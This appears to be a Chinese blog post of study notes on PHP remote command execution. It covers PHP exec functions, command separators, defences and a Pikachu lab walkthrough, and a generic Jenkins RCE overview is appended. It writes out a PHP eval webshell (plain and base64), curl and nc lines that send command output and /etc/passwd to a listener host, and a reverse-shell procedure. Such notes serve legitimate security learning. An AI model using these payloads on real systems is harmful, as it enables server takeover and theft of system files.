RCE笔记

一、RCE 漏洞

1、漏洞简述:

        程序员使用脚本语言(比如 PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用,需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户输入的情况下,就会造成命令执行漏洞。

2、php 执行命令的常用函数:

system(args) 有回显 
passthru(args) 有回显 
exec(args) 无回显,echo 输出只回显最后一行
shell_exec(args) 无回显,必须要 echo 输出 
反引号:`` 
popen(handle,mode)(无回显) 
proc_open('cmd','flag','flag')(无回显) 
$process = proc_open('dir',$des,$pipes); 
echo stream_get_contents($pipes[1]); 

3、 漏洞危害:

(1)继承 Web 服务器程序的权限,去执行系统命令

(2) 继承 Web 服务器程序的权限,读写文件

(3)反弹 shell 

(4)控制整个网站 

(5)甚至控制整个服务器

二、漏洞利用的回显问题

1、有回显:

情况较少,可以直接读取文件或执行有回显的命令

2、无回显

(1)通过 echo 把恶意代码写入文件:

echo "<?php @eval($_POST['cc'])?>" >> shell.php
也可以进行加密:
(1)linux 
echo "PD9waHAgQGV2YWwoJF9QT1NUWydjYyddKT8+"|base64 -d >> shell.php
(2)windows
好像没有

(2)dnslog 查看回显 :

可以直接用 dnslog 的网站,也可以用 burpsuite 的 burp collaborator client

(3)使用 python 启动服务器:

1、在 192.168.1.1 使用:
python -m http.server 5566
开启小型服务器
2、在存在 RCE 的网页上输入:
curl http://192.168.1.1:5566/?`whoami`
3、在 192.168.1.1 上查看回显

(4)netcat 输出文件信息:

1、在远程监听服务器上使用:
nc -lvp 5566 > cc.txt
2、在存在命令执行的网站上使用:
nc 192.168.1.1 5566 < /etc/passwd
3、此时就可以在 cc.txt 中查看目标主机的密码文件

(5)反弹 shell

三、RCE 的防御

1、不执行外部的应用程序或命令,尽量使用自定义函数或函数库实现外部应用程序或命令的功能。

2、在执行 system、eval 等命令执行功能的函数前,要确认参数内容。

3、使用 escapeshellarg 函数处理相关参数。

四、实例

pikachu RCE

1、发现存在命令执行漏洞

输入 127..1 | whoami 回显了用户

2、判断为 windows 服务器

(1)输入 127..1 | dir 有回显

(2)输入 127..1 | ls 无回显

3、想获得控制权限

(1)执行命令上传 netcat 到对方服务器

目的是把目标的 shell 反弹到我们的主机上

(2)本机开启对 6666 端口的监听

(3)执行命令把目标 shell 发送到本机的 6666 端口

(4)连接成功

此时在本机上执行命令,应该可以看见相关的端口信息:

netstat -an | findstr "ESTABLISHED"
或
netstat -an | findstr "反弹的端口号"

补充:

1、对于 ping 命令:

windows:
ping 127.0.0.1 -n 3 
linux:
ping 127.0.0.1 -c 3

2、对于多条命令执行:

1、| : 将前一句语句的结果输出给后一句,无论前一句执行是否成功,都会执行后一句的命令
eg:windows 下执行
(1)ping 127.0.0.1 -n 1 | whoami
结果为正常执行 whoami 指令
(2)ping 127..1 -n 1 | whoami
结果为正常执行 whoami 指令

2、|| : 若前一句执行成功就不执行后一句了,若失败执行后一句
eg:windows 下执行
(1)ping 127.0.0.1 -n 1 || whoami
结果为正常执行 ping 命令,whoami 命令不执行
(2)ping 127..1 -n 1 || whoami
结果为 ping 命令执行失败,正常执行 whoami 命令

3、& :同时执行两个命令,其中任何一个执行成功与否不会影响另外一个命令
eg:windows 下执行
(1)ping 127.0.0.1 -n 1 & whoami
结果为两条语句都正常执行
(2)ping 127..1 -n 1 & whoami
结果为第一条语句执行失败,第二条语句正常执行

4、&& :同时执行两个命令,前一个执行错误,会导致后一个命令不执行
eg:windows 下执行
(1)ping 127.0.0.1 -n 1 && whoami
结果是两条命令均正常执行
(2)ping 127..1 -n 1 && whoami
结果为前一条语句执行失败,后一条不执行

5、; :用来分割两个指令
(1)在 windows 里不生效
(2)在 linux 里生效
eg:linux 下执行
(3)ping 127.0.0.1 -c 1; whoami
两句语句均正常执行
(4)ping 127..1 -c 1; whoami
ping 命令执行失败,whoami 正常执行

6、`` :用来执行 linux 命令
eg:linux 中执行
(1)ping `pwd`
ping 执行失败,pwd 执行成功
(2)ping 127.0.0.1`pwd`
ping 执行失败,pwd 命令执行成功
(3)whoami  `pwd`  ping
whoami 和 ping 执行失败,pwd 执行成功

7、$() :仅可在 linux 上使用
(1)ping 127.0.0.1 -c 3 | echo $(whoami)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Jenkins Remote Code Execution (RCE) 是一种安全漏洞,在 Jenkins 中发现的一种远程代码执行攻击的可能性。Jenkins 是一款流行的开源持续集成/持续部署 (CI/CD) 工具,广泛用于自动化软件构建、测试和发布过程。 ### Jenkins RCE 的简述 1. **原理概述**:通常情况下,Jenkins 需要在网络上运行并访问,这意味着它暴露了一个服务端口。如果未正确配置权限控制和身份验证机制,恶意用户可能会通过特定的 HTTP 请求注入恶意脚本或命令,并由 Jenkins 执行,导致远程代码执行。这种攻击利用了服务器的安全配置错误或者存在脆弱的插件和配置设置。 2. **危害**:一旦发生 Jenkins RCE,攻击者可以获取对整个系统的完全控制权,包括但不限于执行任意系统命令、修改文件、安装软件、窃取敏感数据等。这可能导致严重的数据泄露、业务中断以及潜在的长期安全风险。 ### 防止 Jenkins RCE 的措施 1. **更新到最新版本**:定期检查 Jenkins 更新,及时应用官方发布的安全补丁和修复,因为大多数已知的漏洞都会在新版本中得到解决。 2. **权限管理**:限制 Jenkins 用户的访问权限,只赋予其完成任务所需的最少权限。避免使用管理员账户进行 Jenkins 操作,应使用具有有限权限的角色账号。 3. **HTTPS 部署**:启用 HTTPS 能有效防止中间人攻击和其他形式的数据窃取,提高通信安全性。 4. **禁用危险的插件**:评估所有第三方插件及其更新,移除不再需要或已被证实存在安全隐患的插件。 5. **强化输入验证**:对于用户提交的数据,实施严格的输入验证策略,过滤掉恶意字符或脚本,减少潜在的攻击面。 6. **监控日志**:定期审查 Jenkins 日志,以便尽早检测异常活动或可疑操作,有助于快速响应和预防潜在威胁。 7. **教育培训**:加强团队成员对安全最佳实践的理解,确保所有人都了解如何识别和报告潜在的漏洞。 8. **定期审计和渗透测试**:通过外部安全审计和内部渗透测试,定期检查 Jenkins 系统的安全状况,识别并修复潜在的风险点。 通过采取以上措施,可以显著降低 Jenkins 发生 RCE 类型攻击的风险,保护组织的 CI/CD 流程免受恶意攻击的影响。---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值